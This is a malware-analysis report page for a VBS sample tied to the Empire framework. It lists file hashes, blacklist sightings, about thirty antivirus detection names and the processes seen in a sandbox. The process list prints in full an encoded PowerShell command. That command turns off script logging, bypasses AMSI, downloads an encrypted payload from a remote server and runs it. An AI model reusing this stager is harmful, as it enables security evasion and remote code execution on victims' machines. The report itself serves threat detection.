13abc0b07a0fd203053e9dcfea6f490d.vbs
Classification: Malicious
13abc0b07a0fd203053e9dcfea6f490d.vbs is a malicious file sample. Linked to Empire malware. Reported by 2 threat sources, last seen 2024-09-23.
Detection summary
- 33 antivirus detections
- 0 IDS alerts
- 2 processes observed
- 1 contacted hosts
- 0 DNS requests
Blacklist sightings
| Description |
Source |
First seen |
Last seen |
Labels |
MITRE ATT&CK |
| PowershellEmpire |
MalwareBazaar Abuse.ch |
2024-09-23 18:13:57 |
2024-09-23 18:13:57 |
malicious-activity
|
S0363 Empire
|
| Generic Malware |
Hybrid-Analysis |
2024-09-23 03:15:03 |
2024-09-23 05:00:07 |
|
|
Sample information
- Filenames
- 13abc0b07a0fd203053e9dcfea6f490d.vbs, Organiser.vbs
- File type
- ASCII text, with very long lines (5200)
- Size
- 5313 bytes
- MD5
13abc0b07a0fd203053e9dcfea6f490d- SHA-1
5a73e9e7d1fe5c9b63ff563ecaf0898d8ef10001- SHA-256
5a91fbfac6adeb8cae04d49c07e0a9160578767129951cc0b4a4c7424e2e969a- First indexed
- 2024-09-23 03:00:15
- Last updated
- 2025-10-15 08:41:03
Antivirus detections
| Engine | Detection |
|---|
| ALYac | GT:VB.ObfDldr.28.29C080A2 |
| AVG | VBS:Downloader-AXD [Trj] |
| AhnLab-V3 | Powershell/Downloader.S5 |
| Arcabit | GT:VB.ObfDldr.28.29C080A2 |
| Avast | VBS:Downloader-AXD [Trj] |
| Avira | VBS/PSRunner.VPSV |
| BitDefender | GT:VB.ObfDldr.28.29C080A2 |
| CAT-QuickHeal | Script.Trojan.39876 |
| CTX | vba.trojan.obfdldr |
| Cynet | Malicious (score: 99) |
| ESET-NOD32 | PowerShell/TrojanDownloader.Agent.ABM |
| Emsisoft | GT:VB.ObfDldr.28.29C080A2 (B) |
| F-Secure | Malware.VBS/PSRunner.VPSV |
| FireEye | GT:VB.ObfDldr.28.29C080A2 |
| Fortinet | PowerShell/Agent.AN!tr |
| GData | GT:VB.ObfDldr.28.29C080A2 |
| Google | Detected |
| Ikarus | Trojan-Downloader.PowerShell.Agent |
| Kaspersky | HEUR:Trojan.PowerShell.Generic |
| Lionic | Trojan.Script.ObfDldr.4!c |
| McAfee | PS/Dropper.f |
| MicroWorld-eScan | GT:VB.ObfDldr.28.29C080A2 |
| Microsoft | Trojan:Script/Wacatac.B!ml |
| NANO-Antivirus | Trojan.Script.Downloader.inbiqr |
| Sangfor | Malware.Generic-VBS.Save.f99adb70 |
| Sophos | ATK/Empire-U |
| Symantec | Trojan.Malscript!gen8 |
| Tencent | Heur:Trojan.Powershell.Generic.u |
| VIPRE | GT:VB.ObfDldr.28.29C080A2 |
| Varist | ABDownloader.BUJ |
| Xcitium | TrojWare.Win32.BadShell.XSN@7pmib7 |
| ZoneAlarm | HEUR:Trojan.PowerShell.Generic |
| huorong | TrojanDownloader/PS.MalDownload.g |
Process list
| Name | Command line |
|---|
| WScript.exe | "C:\Organiser.vbs" |
| powershell.exe | -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBJAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBlAFIAcwBJAE8AbgAuAE0AQQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJAAxADEAYgBEADgAPQBbAHIARQBmAF0ALgBBAHMAUwBlAG0AQgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVQB0AGkAbABzACcAKQAuACIARwBFAHQARgBJAEUAYABsAGQAIgAoACcAYwBhAGMAaABlAGQARwByAG8AdQBwAFAAbwBsAGkAYwB5AFMAZQB0AHQAaQBuAGcAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEkAZgAoACQAMQAxAGIAZAA4ACkAewAkAEEAMQA4AGUAMQA9ACQAMQAxAGIAZAA4AC4ARwBFAHQAVgBhAEwAVQBFACgAJABOAHUAbABMACkAOwBJAEYAKAAkAEEAMQA4AEUAMQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdACkAewAkAGEAMQA4AGUAMQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABBADEAOABFADEAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0AJABWAEEATAA9AFsAQwBPAGwATABlAGMAdABJAE8ATgBzAC4ARwBFAG4ARQByAEkAYwAuAEQAaQBDAFQAaQBPAG4AQQBSAHkAWwBzAHQAUgBJAE4AZwAsAFMAWQBzAHQARQBtAC4ATwBCAEoAZQBjAHQAXQBdADoAOgBOAEUAdwAoACkAOwAkAFYAYQBsAC4AQQBEAEQAKAAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAHYAYQBsAC4AQQBkAEQAKAAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAQQAxADgARQAxAFsAJwBIAEsARQBZAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAkAHYAQQBMAH0ARQBsAFMARQB7AFsAUwBDAFIASQBQAHQAQgBMAE8AYwBrAF0ALgAiAEcAZQB0AEYASQBlAGAAbABEACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAEEAbABVAEUAKAAkAE4AdQBsAEwALAAoAE4AZQBXAC0ATwBCAGoAZQBjAFQAIABDAG8ATABsAGUAYwB0AEkAbwBOAFMALgBHAEUATgBFAFIAaQBjAC4ASABBAFMASABTAEUAdABbAHMAdAByAEkATgBnAF0AKQApAH0AJABSAGUARgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBCAEwAWQAuAEcAZQB0AFQAWQBQAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBJAEUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAVABWAGEATAB1AEUAKAAkAE4AdQBsAGwALAAkAFQAcgB1AGUAKQA7AH0AOwBbAFMAeQBzAFQARQBtAC4ATgBFAFQALgBTAEUAcgB2AEkAQwBlAFAATwBpAE4AdABNAGEATgBBAEcAZQBSAF0AOgA6AEUAeABQAGUAYwB0ADEAMAAwAEMAbwBuAFQASQBOAFUARQA9ADAAOwAkADcAYQA2AEUARAA9AE4ARQB3AC0ATwBiAGoAZQBDAHQAIABTAFkAcwBUAGUATQAuAE4AZQBUAC4AVwBFAEIAQwBMAEkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQAZQB4AFQALgBFAG4AQwBPAGQAaQBuAEcAXQA6ADoAVQBuAGkAYwBPAEQAZQAuAEcAZQB0AFMAVABSAEkAbgBnACgAWwBDAG8AbgB2AGUAUgBUAF0AOgA6AEYAcgBvAG0AQgBhAFMARQA2ADQAUwBUAFIAaQBOAGcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHgAQQBEAEEAQQBNAFEAQQA2AEEARABjAEEATgB3AEEAMwBBAEQAYwBBACcAKQApACkAOwAkAHQAPQAnAC8AYQBkAG0AaQBuAC8AZwBlAHQALgBwAGgAcAAnADsAJAA3AEEANgBlAEQALgBIAGUAQQBkAGUAcgBTAC4AQQBEAEQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAA3AGEANgBlAEQALgBQAHIAbwB4AFkAPQBbAFMAWQBTAFQARQBtAC4ATgBlAHQALgBXAGUAQgBSAGUAUQB1AGUAUwBUAF0AOgA6AEQARQBmAGEAVQBMAFQAVwBlAEIAUABSAE8AeABZADsAJAA3AEEANgBFAEQALgBQAHIATwBYAHkALgBDAFIAZQBkAGUATgB0AEkAYQBMAHMAIAA9ACAAWwBTAHkAcwBUAEUAbQAuAE4AZQB0AC4AQwBSAEUAZABlAG4AVABpAGEATABDAEEAYwBoAEUAXQA6ADoARABFAGYAYQBVAGwAVABOAGUAVABXAG8AcgBLAEMAUgBFAEQARQBuAHQAaQBhAEwAUwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAA3AGEANgBlAGQALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBjAE8ARABJAG4ARwBdADoAOgBBAFMAQwBJAEkALgBHAEUAdABCAHkAdABlAFMAKAAnAFMAQAA+AFoAfgBhAHAALABuAG8AZQAwAEoARABLAF0AbAAuACsAeQBGAD8AfQBMAE4APQBqADIAegB2AGIAVQAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAUwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMATwB1AE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAFgAbwBSACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkADcAYQA2AEUAZAAuAEgARQBBAEQARQByAFMALgBBAGQARAAoACIAQwBvAG8AawBpAGUAIgAsACIAZgBQAHEARgBtAGcAQwB3AHYAbwA9ADUANABCAFQAeQBNAEoAeQA1AGgASwBvAEYALwBrAEcATwAxAGoAcQBOAE8AZwA5AE4AYgBNAD0AIgApADsAJABkAGEAVABhAD0AJAA3AEEANgBFAGQALgBEAE8AVwBOAEwAbwBhAGQARABhAHQAQQAoACQAcwBFAFIAKwAkAHQAKQA7ACQAaQBWAD0AJABkAEEAdABhAFsAMAAuAC4AMwBdADsAJABkAEEAVABBAD0AJABkAEEAVABhAFsANAAuAC4AJABEAGEAdABBAC4ATABFAG4ARwB0AGgAXQA7AC0ASgBvAGkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABEAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA= |